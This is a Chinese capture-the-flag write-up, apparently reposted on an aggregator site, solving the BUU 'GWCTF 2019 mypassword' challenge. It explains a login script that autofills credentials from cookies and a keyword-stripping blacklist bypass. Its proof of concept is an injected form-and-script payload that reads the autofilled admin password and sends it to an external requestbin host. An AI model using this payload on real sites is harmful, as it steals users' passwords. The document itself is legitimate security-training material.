当前位置:网站首页>【代码审计】buu_[GWCTF 2019]mypassword
【代码审计】buu_[GWCTF 2019]mypassword
2022-06-09 20:52:00 【malloc_冲!】
1.页面打开像是注入,现注册登录后发现并非注入,如下:

2.在登陆界面发现./js/login.js,打开查看到如下的js代码:
if (document.cookie && document.cookie != '') { //Cookie是一个由该域名下的所有cookie的值对所组成的字符串,值对间以“分号加空格”分隔
var cookies = document.cookie.split('; '); //为了方便查看,可以使用split()方法将cookie中的值对解析出来,得到一个cookie的列表
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('='); // 解析出值
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw']; //返回页面中标签名属性为name的对象
}
}代码解读:代码会把cookie中的username和password填进当前表单
思路:由于是后端执行js,所以构造js即可。先写一个有表单的页面,调用这个js文件,cookie中的数据被填入表单,再用js获取页面表单内容,发送请求,就能得到管理员cookie。现在看在哪里以及如何发送请求。
3.由于在各页面查看源码,在首页发现feedback.php:

打开其源码可看到注释:

代码分析:对feedback输入的内进行过滤,即把feedback中在黑名单中的字符串替换为空,只是替换为空很容易绕过
方法:根据上述login.js可将密码填入表单的功能,所以构造一个表单在feedback页面提交。
在 http://http.requestbin.buuoj.cn(RequestBin提供了一个URL,该URL将收集对其发出的请求,首页点击create a requestbin)页面接收flag
4.大神的poc:
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/rlrk8drl/?a="+psw;
</scrcookieipt>
5.退回原界面即可获取flag


边栏推荐
- Gbase8s database select Clause 2
- 二叉树的层序遍历
- [cf] 797 div3 E. Price Maximization
- Soflu software robot: an automatic tool to assist enterprises in landing Devops
- MediaTek: the market demand will not disappear, and the compound annual growth rate of revenue in the next three years will exceed 14%
- Fastjon2 here he is, the performance is significantly improved, and he can fight for another ten years
- Share 4 methods of JS deep copy
- Analysis of 403 problems of Pro backstage sub administrator
- numpy中的ndarry排序
- Mysql:1062 Duplicate entry '1' for key 'PRIMARY'
猜你喜欢

瀏覽器無法打開百度,別的可以正常打開

线性回归总结

二叉树的层序遍历

maximum likelihood estimation

Example: use C # Net to teach you how to develop wechat official account (19) -- use wechat payment to transfer to wechat fans' change accounts

(I) apple has open source, but so what?

Why can't Google search page infinite?

GameFi新的启程,AQUANEE将于6.9日登陆Gate以及BitMart

Mysql:1062 Duplicate entry '1' for key 'PRIMARY'

Add the "back" function button to the toolbar of the idea navigation bar of the "stepping pit record"
随机推荐
GBase8s数据库select子句4
[cf] 797 div3 D.Black and White Stripe
Binary search tree
KubeVirt CICD Tekton (2) - task run:datavolume & ssh-key
[time series] TFT: multi-step direct prediction of interpretable time series transformers
深入理解 Go Modules 的 go.mod 与 go.sum
Numpy duplicate data
Gbase8s database select clause 4
Tke builds efk log service
739. daily temperature force deduction (monotonic decreasing stack)
Go 1.18 new features - workspace
GameFi新的启程,AQUANEE将于6.9日登陆Gate以及BitMart
分享 10 个关于 Reduce 函数的使用小技巧
Dongle driven solution
Why can't Google search page infinite?
堆(优先队列)
The server responded that static resources were not loaded
Gamefi's new departure, aquanee will log in to gate and bitmart on June 9
Goldfish rhca memoirs: do447 management list -- management list variables
Configuration du serveur DHCP et de la connexion client